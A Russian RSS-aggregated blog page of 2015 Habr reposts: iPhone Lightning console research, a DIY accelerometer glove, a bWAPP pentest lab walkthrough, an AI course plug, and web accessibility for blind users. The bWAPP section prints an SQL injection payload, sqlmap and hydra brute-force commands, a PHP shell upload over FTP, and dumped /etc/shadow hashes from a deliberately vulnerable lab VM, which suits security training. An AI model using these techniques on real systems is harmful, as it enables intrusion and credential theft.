...

суббота, 14 февраля 2015 г.

Получен доступ к диагностической консоли iPhone

Разъем Lightning, представленный Apple вместе с выходом 5 айфона заменил собой привычный 30-пиновый коннектор. Появление нового коннектора ознаменовало конец эры свободного подключения к устройствам. В старом разъеме звук, видео, данные, питание передавались по отдельным пинам и не было проблемы с использованием неоригинальных кабелей. В новом разъеме появился отдельный чип отвечающий за оригинальность происхождения аксессуара, а также его тип (USB-HOST, USB-DEVICE, SERIAL, POWER-ONLY).


Продолжительное время протокол оставался загадкой. Недавно его удалось взломать французскому исследователю Рамтину Амину (Ramtin Amin). Ему удалось получить доступ к последовательной консоли (serial console) через разъем Lightning. Вероятно это станет новым направлением по поиску и эксплуатации уязвимостей.



Рамтин начал с реверс-инжиниринга с изучения патентов, поиска поставщиков и иных устройств использующих подобное оборудование. Он нашел Lightning to Serial converter построенный на чипе STM32. По результатам исследования прошивки контроллера, информации с логического анализатора ему удалось восстановить часть протокола, большую часть схемы подключения.


Во время первых исследования внутреннего устройства 5 айфона сразу после появления в продаже, многие идентифицировали чип более известный как Tristar (более точно CBTL1608A1), как DisplayPort мультиплексор. Оказалось, что это мультиплексор, но не для DisplayPort, а для подключения аксесуаров с разъемом Lightning к UART, debug UART, baseband, SoC, JTAG.



Работа с микросхемой оказалась достаточно сложной, т.к. это BGA чип размером 2.5x2.5 мм и имеющий 36 точек для пайки с шагом 0.35мм. Рамтину удалось выпаять и перенести микросхему на макетную плату. Подключившись с помощью платы STM32F4Discovery ему удалось заглянуть в принципы работы устройства.


Пока это не дает полного контроля над устройством. Но возможно будущие эксплойты будут начинаться с этого.


Ссылка с подробным описанием процесса http://ift.tt/1EpRdcR


Буду рад выслушать ваши сообщения об ошибках или иные предложения в ЛС.


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Перчатка для определения положения руки на коленке

От названия может возникнуть впечатление, будто бы это перчатка для определения положения руки, которая в свою очередь находится на коленке. Но на самом деле это не так. Я надеюсь, что у читателей основания рук находятся довольно далеко от коленки, так еще и имеют довольно большой радиус кривизны. Но сделать это, тем не менее, под силу даже школьнику.





Те, кто читал статью про сканер, вероятно помнят, что я обещал продолжения. Но из-за конкурсов у меня все никак не находится времени для этого. Зато сейчас я сижу после конкурса и пишу статью о части нашего проекта. На выставке меня попросили рассказать про принцип работы этого девайса, потом попросили контакты, а потом я просто решил, что лучше напишу статью и решу проблему более чем двух человек. Изначально с помощью этой перчатки мы управляли электроникой (включали чайники по Интернету с помощью жестов), а теперь используем ее для трекинга положения руки. Вот собственно и все введение.


Принцип работы




Жестовые перчатки можно разделить на несколько типов (что-то могу пропустить):

1) На тензорезисторах

Ну это самое простое. Тензорезистор — это такая полосочка, от которой отходят два контакта. При растяжении/сжатии данной полосочки ее сопротивление меняется. Ставим на каждый подвижный сустав по такому датчику и получаем профит. Но эти тензорезисторы довольно дороги, нельзя определить направление сгиба и сама лента имеет приличную длину (около длинны пальца).


2) На «светодиодных трубках»

Уже интереснее. Суть вот в чем: берется силиконовая или резиновая трубка, с одного конца трубки устанавливается светодиод, а с другого конца — фоторезистор/транзистор. Чем сильнее мы изгибаем такой датчик, тем меньше света попадает на фотодатчик, а соответственно увеличивается его сопротивление. Стоит такой датчик дешевле тензорезистора на порядок. Но имеет те же минусы: неудобно сгибать и нельзя определить направление сгиба.


3) Датчики ориентации

Под этим я подразумеваю различные акселерометры, гироскопы, магнитометры и различные их комбинации. Стоимость таких датчиков варьируется в огромных пределах, а основные проблемы возникают при их программировании. Именно такие датчики я и применил в перчатке.


Свой выбор я остановил на датчиках LIS331. Это восьмибитный трехосевой акселерометр. Просто потому, что они стоили тогда 30 рублей за штуку в розницу. Это вообще был мой первый опыт в использовании подобных датчиков, так что я решил: «если угроблю этот датчик, то не жалко будет».

С акселерометра мы получаем разложение вектора ускорения датчика по трем его осям. Откуда ускорение? Ну как из космоса — на нас же ускорение свободного падения Земли действует. Тут нужно сказать о минусе этого датчика: этот самый вектор колеблется от любого дрожания рук, так что имеем мы на выходе высокочастотные помехи. Но для определения жеста, когда рука почти не двигается их применить можно.

Собственно вот и вся задача: взять на каждую подвижную кость по датчику, подключить к микроконтроллеру, найти положение датчика, определить жест. Но не тут то было…


Плата под датчик




Начнем с того, что этот датчик еще запаять надо. Вы думаете, что хорошо паяете? Знакомьтесь (шаг сетки на фотографии 0,5 мм):


LGA16. Он тоже рад знакомству. Именно из-за него мне и пришлось-таки купить паяльную станцию. Я очень люблю SMD. Детали маленькие и платки соответственно тоже маленькие выходят. Но это… В общем, теперь, после пайки MPU-9250, я говорю, что это халява, а тогда это был адище. Ну, хоть убить не жалко. Вооружившись программой для трассировки плат рисуем плату. Сначала площадку под микросхему. Наш лучший друг при пайке — поверхностное натяжение. Когда мы будем паять именно эта сила заставит микросхему встать на свое место. Поэтому площадки нужно делать довольно длинными, иначе микросхему это же поверхностное натяжение утянет в сторону. Все размеры берем из даташита. У меня не получилось в один слой сделать без перемычек, так что одна все-таки будет. На разводке она показана красной линией. Большие площадки для того, чтобы туда запаять шлейф. Так как шаг между этими площадками 2,54 мм и располагаются эти площадки и сверху и снизу от микросхемы, то шлейф с шагом между проводками 1,27 мм идеально нам подходит. Получится в итоге вот такая плата:



И вот такой датчик после пайки:



На фото хорошо видно беспорядок на столе за который я извиняюсь, что я имел в виду, когда говорил про шаг выводов. Ширина шлейфа почти равна ширине платы, а потому выглядит не совсем плохо. Но плату еще надо сделать и вытравить. Плата легко делается ЛУТом, а травлю я в перекиси водорода. Для достижения лучшего результата, я катаю плату в растворе при помощи электромотора. Можно разом сделать массив плат на одном куске стеклотекстолита. Это значительно ускорит процесс изготовления. После травления лудим плату и на этом этапе начинаются проблемы…


Пайка




Этот процесс абсолютно бесполезно описывать. Лучше один раз увидеть видео. Я лишь скажу, что я закосячил 8 датчиков прежде, чем запаял 6 нужных мне. Ну первый раз такое паяю, можно и простить. Видео о пайке корпуса LGA прилагать не буду, так как их легко найти в поисковике, а засорять Интернет очередным не хочется.

Еще полезный лайфхак: паяйте феном в каком-нибудь подносе/противне/тарелке/тазике в общем в чем угодно, у чего есть борта. Микросхемы сдуваются феном, и искать их практически бесполезно.


После запайки датчика запаиваем шлейф, вспоминаем, что забыли запаять перемычку, отпаиваем шлейф, запаиваем перемычку, возвращаем шлейф на место.


Плата микроконтроллера




Это уже ваше дело, какой МК использовать. Здесь я расскажу про небольшую хитрость, про которую почему-то забывают. А позволяет она экономить ножки микроконтроллера, которых на некоторых платах и без того мало. А называется эта хитрость — логика. Не та, которая женская бывает, а та которая на 74HC начинается. Конкретно нас интересует 74HC164. Это сдвиговый регистр. Работает он довольно просто. У него есть ноги Data, Clock, Reset и выводы. Через Data и Clock мы последовательно передаем 8 бит, которые регистр параллельно выводит на выводы. А с помощью Reset можно установить все выводы в 0. Собственно подключаем ножки Enable акселерометров к этой микросхеме и с помощью одной микросхемы управляем восемью акселерометрами. Но нужно нам только пять, так что оставшиеся два можно занять светодиодами. Будет красивая подсветка. Вот только тут есть баг: когда мы будем ресетить микросхему, в «бит светодиодов» будет записываться 0. А так как мы данные пишем довольно быстро, то это моргание будет выглядеть как уменьшение яркости, что может заставить понервничать инженера. Собственно общая блок-схема перчатки будет выглядеть так:


При программировании нужно также помнить, что микросхема будет выбрана тогда, когда на ножке Enable (она же CS) будет логический ноль. Так что чтобы выбрать второй акселерометр, в регистр нужно будет записать не 01000000, а 10111111.


Программирование




Обмен данными с акселерометром происходит так:

0 bit — R/W bit. Если 1, то мы читаем данные, если 0, то пишем в датчик.

1-7 bit — Адрес регистра, с которым мы собираемся работать.

8-15 bit — Данные, которые мы пишем в регистр. Если мы читаем, то акселерометр просто их проигнорирует.

Если с этим все понятно, то тогда читаем для начала регистр WHO_AM_I. Этот регистр можно только прочитать и его дефолтное значение можно найти в даташите. Для нашего акселерометра этот регистр располагается по адресу 0x0F, а дефолтное значение 0x3B. То есть в акселерометр мы посылаем сначала 0x8F, потом любые 8 бит, а считать должны 0x3B. Если прочитали что-то другое, то где-то косяк. Либо в пайке, либо отправляем не те данные, либо перегрели микросхему при пайке. Может скорость слишком большая. И еще не забываем ножку CS подтягивать к земле и возвращать обратно. Если вы приняли правильный данные, то вас можно поздравить — осталось запаять всего 4 датчика. Получится вот такая картина:



После запайки всех пяти датчиков (по одному на каждый палец), мы крепим их на перчатку. Я для этого использовал термоклей. Получилось вот что:



Для того, чтобы мы начали получать какие-нибудь данные с микросхемы, ее надо включить. Для этого нужно установить в единицу бит BOOT регистра CTRL_REG2 и записать в регистр CTRL_REG1 значение 0xC7. Первое — это перезагрузка акселерометра, а второе — это вывод датчика из режима энергосбережения, установка частоты дискретизации 400Hz, и включение всех трех осей.

Все данные с осей x,y и z записываются в регистры с адресами 0x29, 0x2B и 0x2D соответственно. Для того, чтобы получить данные просто читаем их и все (не забываем, что если мы читаем, то 0bit первой посылки — 1). Тут очередное «если» с подвохом: если вы прочитали данные, а там сплошные нули, а код точно рабочий и правильный, то посмотрите внимательно на название своих акселерометров. Там может быть не LIS331DL, а LIS331DLH. Что дает эта буква? А датчик теперь 16-битный, так еще и с большим количеством настроек. Из-за этого адреса регистров меняются. Я на поиск этого косяка убил часа 4, не меньше. Обидно было. Но предположим, что вы все сделали правильно. Тогда вы получите вот такой трэш в терминале:



Я сомневаюсь, что на мирно лежащий на столе акселерометр действуют такие ускорения. Вероятно все дело в помехах. Не, ну а чего мы хотели за 30 рублей? Придется нам как-то от них избавляться. Для этого нам нужен фильтр. Проще всего реализовать его софтварно (внутри датчика вроде как имеется фильтр, но у меня он почему-то не заработал). Выглядит он до безобразия просто: новое значение = старое значение + измеренное значение * коэффициент. Понятно дело, что частота среза зависит от коэффициента, который нужно подбирать самим под свои задачи.


Определение жеста




В простейшем случае можно просто смотреть на знак числа, которое мы приняли. Завести массив на пять пальцев, и слать этот массив на компьютер. Мол, если палец загнули, то 1, а если выпрямлен, то 0. Например, 11011. Именно это и было реализовано в первой перчатке, ибо большего и не требовалось. Но вполне реально определить и угол наклона. Для этого мы просто берем арктангенс отношения ускорений по двум осям и получаем угол наклона вдоль плоскости, в которой лежат эти оси. Сделав это для трех пар осей, можем найти углы наклона по трем осям и восстановить положение датчика в трехмерном пространстве. Но, думаю, это никому не понадобится. Даже не из-за того, что задача не будет этого требовать, а из-за того, что для таких задач нужно использовать шестиосевой датчик (акселерометр+гироскоп) или еще лучше девятиосевой (акселерометр+гироскоп+магнитометр). Но они стоят гораздо дороже и работа с ними уже несколько сложнее.

Заключение




Надеюсь, что тем, кто хотел собрать что-то подобное статья поможет. Мне бы в то время помогла. Сейчас мы уже победили в одном конкурсе с этой перчаткой, и даже сделали на девятиосевых датчиках новую перчатку, с которой победили на другом. Правда по секрету скажу, что магнитометр у меня так и не заработал, но об этом никто не знает. Перчатка и без него неплохо работает, так что я бы лучше купил более дешевые шестиосевые датчики. Теперь конкурсов в ближайшем будущем не предвидится, так что я постараюсь написать про 3d сканер вторую статью, как и обещал.

P.S. Забыл собственно разводку платы для датчика прикрепить:

Плата в SprintLayout


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


[Перевод] Rust 1.0: текущее состояние и окончательное расписание выхода версий

Обзор площадки для тестирования веб-уязвимостей OWASP Top-10 на примере bWAPP

Привет, Хабр!

В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.


image


Краткий ликбез:


Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.


Сам топ-10 выглядит следющим образом:





A1 Внедрение кода

A2 Некорректная аутентификация и управление сессией

A3 Межсайтовый скриптинг (XSS)

A4 Небезопасные прямые ссылки на объекты

A5 Небезопасная конфигурация

A6 Утечка чувствительных данных

A7 Отсутствие контроля доступа к функциональному уровню

A8 Подделка межсайтовых запросов (CSRF)

A9 Использование компонентов с известными уязвимостями

A10 Невалидированные редиректы


Рейтинг отражает не только распространенность, но и опасность угрозы.


buggy web application (bWAPP) — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.

Автор bWAPP — Malik Mesellem (его блог)


image


Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина bee-box, которая и будет использована в статье.


Список уязвимостей, что вы встретите в bWAPP:


  • SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections

  • Blind SQL and Blind OS Command injection

  • Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)

  • Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)

  • Cross-Site Request Forgery (CSRF)

  • AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)

  • Malicious, unrestricted file uploads and backdoor files

  • Authentication, authorization and session management issues

  • Arbitrary file access and directory traversals

  • Local and remote file inclusions (LFI/RFI)

  • Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...

  • HTTP parameter pollution and HTTP response splitting

  • Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion

  • Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations

  • HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues

  • Unvalidated redirects and forwards, and cookie poisoning

  • Cookie poisoning and insecure cryptographic storage

  • Server Side Request Forgery (SSRF)

  • XML External Entity attacks (XXE)





Что вас ждет в статье:



  • Освещение нескольких уязвимостей — поиск, эксплуатация, использование пентест программ.

  • Прохождение bwapp несколькими способами, не используя веб.


На кого расчитанна статья:



  • На людей увлеченных информационной безопасностью, веб-разработчиков (я надеюсь:)), всех, кому интересна тема информационной безопасности, и чья работа так или иначе связана с веб-технологиями.


Требования:



  • Жажда знаний

  • Машина, на которой вы развернете bWAPP.

  • Опционально — опыт использование пентест тулз, обзор и использование которых широко освещены на Хабре.


Цель статьи:



  • Показать отличную площадку для тестирования своих навыков пентеста и/или разработки. Кратко ввести в курс дел безопасности веб-приложений. Ну и само соревнование никто не отменял :)


WARNING!



Чего не будет в статье:

1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.

2. Обзора программ, которые помогают при пентесте.

Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.

Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.


SQL-injection




Выбираем SQL Injection (GET/Search)

Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.



Подставляем кавычку, получаем ошибку:



http://ift.tt/1AmzqpI




Воспользуемся техникой order by и подберем количество столбцов:

http://ift.tt/1EqWz7Z




Оно равно 7:

http://ift.tt/1AmzoOE




Дальше используем union:

http://ift.tt/1EqWwJb




Получаем номера столбцов:


Получаем имя БД, юзера, хеш пароля:



http://ift.tt/1AmzqpN





SQL Injection (POST/Search)


Открываем /bWAPP/sqli_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap:

В burpsuite открываем наш запрос


Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.

Открываем sqlmap и выполняем команду:



sqlmap -r sql.txt





Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:



Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search




Просто подставим payload в адресную строку:

http://ift.tt/1EqWwJf' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search




тем самым получим токен, что означает, что задача выполнена:


Или вас интересуют XSS?




Их здесь полно и на любой вкус.

Выбираем XSS — Reflected (GET)


Подставляем










Просто почитать чужие файлы?


Откроем Directory Traversal — Files



http://ift.tt/1AmzoOG


Попробуем подставить /etc/passwd:


Откроем Directory Traversal — Directories



http://ift.tt/1EqWzoj


Прочитаем листинг /etc/:


Тестирование «черным ящиком»




Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.

Просканируем цель nmap'ом:



Nmap scan report for bee-box (192.168.1.18)
Host is up (0.0050s latency).
Not shown: 983 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
666/tcp open doom
3306/tcp open mysql
5901/tcp open vnc-1
6001/tcp open X11:1
8080/tcp open http-proxy
8443/tcp open https-alt
9080/tcp open glrpc


Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.


FTP



Воспользуемся Dirbuster:

Dir found: /phpmyadmin/ - 200
Dir found: /evil/ - 200
Dir found: /webdav/ - 200
File found: /webdav/Iron_Man.pdf - 200
File found: /webdav/Terminator_Salvation.pdf - 200
File found: /webdav/The_Amazing_Spider-Man.pdf - 200
File found: /webdav/The_Cabin_in_the_Woods.pdf - 200
File found: /webdav/The_Dark_Knight_Rises.pdf - 200
File found: /webdav/The_Incredible_Hulk.pdf - 200
File found: /webdav/bWAPP_intro.pdf - 200


Тем временем



nmap --script=ftp*




сообщает, что:

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf
| -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf
| -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf
| -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf
| -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf
| -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf
|_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf


Анализируя эти 2 результата, мы понимаем, что ftp папка (она же /webdav/) доступна через http.

Значит будем заливать php шелл.



Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)



Наш шелл.


VNC

Пробуем подключится по 192.168.1.18:5901



Хорошо, воспользуемся hydra:



hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc



Коннектимся… тадам! Неожиданно, но это права root'а.

Раз root, тогда смотрим /etc/shadow



root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7:::
neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7:::
alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7:::
thor:$1$Iy6Mvuaz$http://ift.tt/1AmzqpP:::
wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7:::
johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7:::
selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::


Воспользуемся hashcat'ом для подбора паролей:




Вот такой улов.


Заключение




Bee-box немного выходит за рамки обычного write-up'а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.

Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования:


  • Захотели узнать, к примеру, что такое Heartbleed? Легко! Запускаете его в виртуалке в 2 клика мыши.

  • Ознакомиться/вспомнить какой-то инструмент или технологию, быстро проверив на практике, я считаю, отличный вариант.

  • Здесь вполне можно прокачать навыки пентеста, веб-технологий, применений специфичного софта.


Список литературы




Автор bWAPP — Malik Mesellem (его блог)

Сам Топ-10 OWASP

Отличная подборка тематических статей от BeLove

Вторая подборка описание пентест утилит, также от BeLove

Творение g0tmi1k — сайт, на котором собраны boot2root образы

Ссылка на виртуальную машину, в архиве 5 гб


Спасибо за внимание. Отвечу на любые вопросы.


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Практическое программирование искуственного интеллекта

Подъем, овощи!

Все, кто еще не, срочно идем и регистрируемся на курс CS188.1x — «Artificial Intelligence». Курс стартовал 6.2.2015 и уже доступны материалы второй недели (первая проходится за три часа — она вводная). Оправдание принимается только одно — «не понимаю по-английски». В этом случае идешь и начинаешь учить английский!



Не знаешь Python? Все равно идешь и регистрируешься на курс, начинаешь слушать лекции и параллельно делаешь практикум первой недели и судорожно, торопясь и получая огромное удовольствие слушаешь параллельно кратенький курс по питону (ок, пайтону).


Не веришь/отрицаешь/боишься искуственного интеллекта? Не бойся! На самом деле курс должен называться Computational Rationality, а фактически изучает максимизацию ожидаемой полезности агента (О, блин! Maximizing agent's expected utility...)


Пройти курс абсолютно реально. Откладывать на «следующий год, а пока я подтяну программирование» — не стоит. На следующий год все равно захочется пройти его снова перед прохождением второй части.


Что понадобиться? Знание английского, желание изучить основы питона. Интерес и мотивация — гарантированы, курс офигенный (вот отзывы).


Обзоры на хабрах:

Как я решил потихоньку учить питон, а попал в дебри CS188.1x Artificial Intelligence (Что топик с кодом делает на мегамозге??!?!?!?)

Вести из недр CS188.1x Artificial Intelligence или итоговые впечатления

Обзор наиболее интересных материалов по анализу данных и машинному обучению №3 (обзор онлайн курсов)


Что в итоге?



  • Сертификат

  • Подтвержденный сертификат (за деньги от $50)

  • Интерес

  • Уверенность и знания, необходимые для участия в Russian AI Cup от mail.ru (и даже попадания в сотню… ну ладно, где-то рядом с сотней)

  • Рабочий автономный автомобиль как у гугл, который после окончания курса можно оставить себе Игра Pacman, где вы можете программировать поведение Pacman-a хоть всю оставшуюся жизнь. И другие веселые среды, игровые и не очень — недостатка в практике не будет!

  • Удостоверение мегамозга и разрешение постить топики на megamozg.ru


Поехали!


P.S. Там и конкурсы есть, например на минимальное количество проходов алгоритма поиска при сохранении оптимального результата. Призов нет :-р


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


14 февраля — день компьютерщика

image

14 февраля — неофициальный, но широко отмечаемый в профессиональном мире День компьютерщика. 14 февраля 1946 года научному миру и всем заинтересованным был продемонстрирован первый реально работающий электронный компьютер ENIAC I (Electrical Numerical Integrator And Calculator).





Поздравляю всех и желаю успехов на компьютерном поприще!

Да пребудет с нами Ctrl, Alt и святой Delete!

Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Делаем онлайн-кинотеатр для слепых (WCAG 2.0 AAA)

В РФ живет около 275 тысяч слепых и слабовидящих людей, 22% молодежь, некоторые из них также являются пользователями интернета, как и мы.

В этой статье я поделюсь с вами инструментами и необычным опытом, который можно получить при создании онлайн-кинотеатра для слабовидящих людей.


image

(пример адаптированной темы на GitHub по ссылке с картинки )



Что такое WCAG 2.0?




Это стандарт доступности сайтов для людей с ограниченными возможностями. Описывает правильные подходы к проектированию интерфейсов и дизайна сайтов. Почитать про стандарт: тут на английском , а тут на русском.

Зачем вообще это нужно?




Слабовидящие люди пользуются интернетом с помощью специального ПО, которое работает качественно только на специальным образом адаптированных сайтах.
Где будут фильмы? что такое тифлокомментирование?



Тифлокомментарии в кино — это дополнительная звуковая дорожка, содержащая закадровое описание видеоряда. Тифлокомментарии составляются по определенным правилам и озвучиваются профессиональным диктором в паузы между диалогами. Фильмы покажут только инвалидам по зрению из соответствующих организаций (но всё это действительно работает).
Инструменты для тестирования



Читалки

Такие пользователи слышат ваш сайт с помощью NVDA и JAWS если используют Win или с помощью встроенного Voiceover на Mac OS Х (она входит в состав операционки и достаточно удобна).

Описание VoiceOver есть здесь, про JAWS можно почитать тут, а вот тут можно узнать больше про NVDA.

Третий продукт — это проект с открытым исходным кодом и вы можете помочь в его улучшении.


Чекеры

Чекры легко нагуглить по запросу «wcag 2.0 checker» (их достаточно), мне понравился вот этот.

Кроме того, есть еще специальный тулбар для FireFox.


Очень удобно, если у вас есть неподалеку подходящий «тестер», но если нет, вы можете воспользоваться готовыми чекерами или включить программу-читалку и попробовать использовать свой сайт с закрытыми глазами.


Впечатления и подводные камни

1. «Обычный сайт» в скринридере звучит как каша, пользоваться стандартной клавиатурной навигацией — невозможно, т.к. не видно состояний, поэтому быстро теряешься. Однако, на сайтах даже с минимальной адаптацией можно понять что где и даже что-то почитать.


2. Скринридеры сами по себе еще недостаточно совершенные, и неясно — это программа глючит, или на сайте косяк.


3. Интересно читать тексты — длинные и скучные можно проматывать. Если текст нормально размечен с подзаголовками — промотка на них ориентируется и можно уловить общий смысл. Если нет, то читалки выхватывают отдельные слова и в итоге получается компот.


4. Интересно ведут себя адаптивные сайты в зуме и с «пропорциональной типографикой» — увеличиваешь размер — получается такой гигантский мобильный лайаут, но пропорции между элементами сохраняются и по прежнему все понятно.


5. В зависимости от браузера скринридеры по разному читают — и вообще они довольно разные.


6. Отсутствуют многие устойчивые конвенции привычные зрячим: например, шапка сайта и «первый экран» не существуют, есть лишь «информация в начале страницы», которая повторяется каждый раз, если разработчики не вставили ссылку для «пропустить».


7. Проблема с ссылками в «новом окне»: человек с большой долей вероятности теряется и не понимает, что произошло и вернуться нельзя, потому что обычная кнопка назад не работает.


8. 404-страница: человек в принципе понимает, что что-то не так, но что именно — сориентироваться сложно. Первая идея — это наиболее частая ошибка. Если сеть часто рвется, то человек думает, что интернет оборвался. Если программа какая-то глючит или виснет — он думает, что она зависла и т.п. Иногда разработчики помещают на 404 какие-нибудь «новости» или еще что — и это еще больше запутывает.


8. Поп-апы: например, галерея типа лайбокс вроде бы доступная потому, что фокус на миниатюре и дальше всё с клавиатуры управляется, но для скринридера в ней особых подсказок нет и не понятно как с ней быть.


9. «Разделы в разработке»: человеку очень сложно сориентироваться, что это такое. Он не понимает, что «там просто ничего нет» и думает что «оно есть», но по какой-то причине ему не показывается или что-то сбойнуло у НЕГО.


10. Есть интересные баги: например, в FF плеер — это ловушка — попадаешь в него, а выйти назад с клавиатуры нельзя, так и бродишь по кругу по всем его кнопкам, пока мышкой не ткнешь куда-нибудь (youtube плеер, любой плеер в ифрейме). Cпастись невозможно — существует целый тред на багзилле по этому поводу.


11.Самый распространенный браузер у таких людей — ИЕ и чудо если 9. Это сложный социальный феномен — есть социальная программа РФ, по которой инвалидам по зрению выделяют бесплатно специально оборудованные компьютеры (жуткое старье), они берут «как есть» и пользуются «как есть». Только более-менее молодые соображают что-то туда поставить. Даже если есть Chrome, то они им не пользуются почти, тк ИЕ удобнее. Они к нему привыкли и знают, что как называется, где какие меню и они не меняются никогда (теперь особенно).

Все новые прекрасные функции — им до одного места потому, что не поймешь где что стало и вообще все по другому


12. Приоритеты совсем другие в плане софта: нам нравится новое — удобнее, клево, красота,

а им наоборот — лучше оставить все как было иначе потеряешься и ничего не поймешь и будешь слушать свой скринридер по 10 раз пока въедешь.


13. Иногда у них стоят программы для удаленного управления компом — и когда дело совсем плохо — удаленный собеседник может подключиться и ткнуть мышью куда надо (доверенное лицо или друзья).


14. Про социальные сети: Вконтакте довольно трудно, но возможно пользоваться, а вот в ФБ — практически невозможно — очень много всплывающего и такого где нужно ориентироваться по изображению. Кстати, у Яндекса (по слухам) есть практически слепой человек в штате, который всякие штуки им помогает адаптировать.


15. Если сайт понятен скринридеру — остальным должно быть понятнее в 2 раза. Скринридер — это крутая штука для тестирования — если что-то «странно» в скринридере, то это в большинстве случаев ошибка. Да и тексты начинаешь писать короче и более внятные.


16. Мир (внутри компьютера), который все время с тобой говорит: я кнопка, я ссылка, я всплывашка, да еще с ошибками и сбоями. На вещи, которые нам кажутся простыми (дело пары секунд — нашел кликнул)

могут уходить минуты.


17. На MacOS Маверикс — скринридер называет картинку «образом». Пишите альт текст к картинкам!


Дополнительные ссылки на полезные ресурсы:



Много информации по доступности проектов на WordPress выложено тут, еще кое-что можно подчерпнуть отсюда — здесь собрано множество текстов в одном месте.

П.С.


Особую благодарность заслуживает Фитисов Алексей Владимирович, который выступил тестировщиком и очень помог своими комментариями и отзывами о работе различных программ-читалок, а так же Анна Ладошкина из Теплицы социальных технологий, которая сделала over90% работы.


Создавайте доступные сайты!


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


пятница, 13 февраля 2015 г.

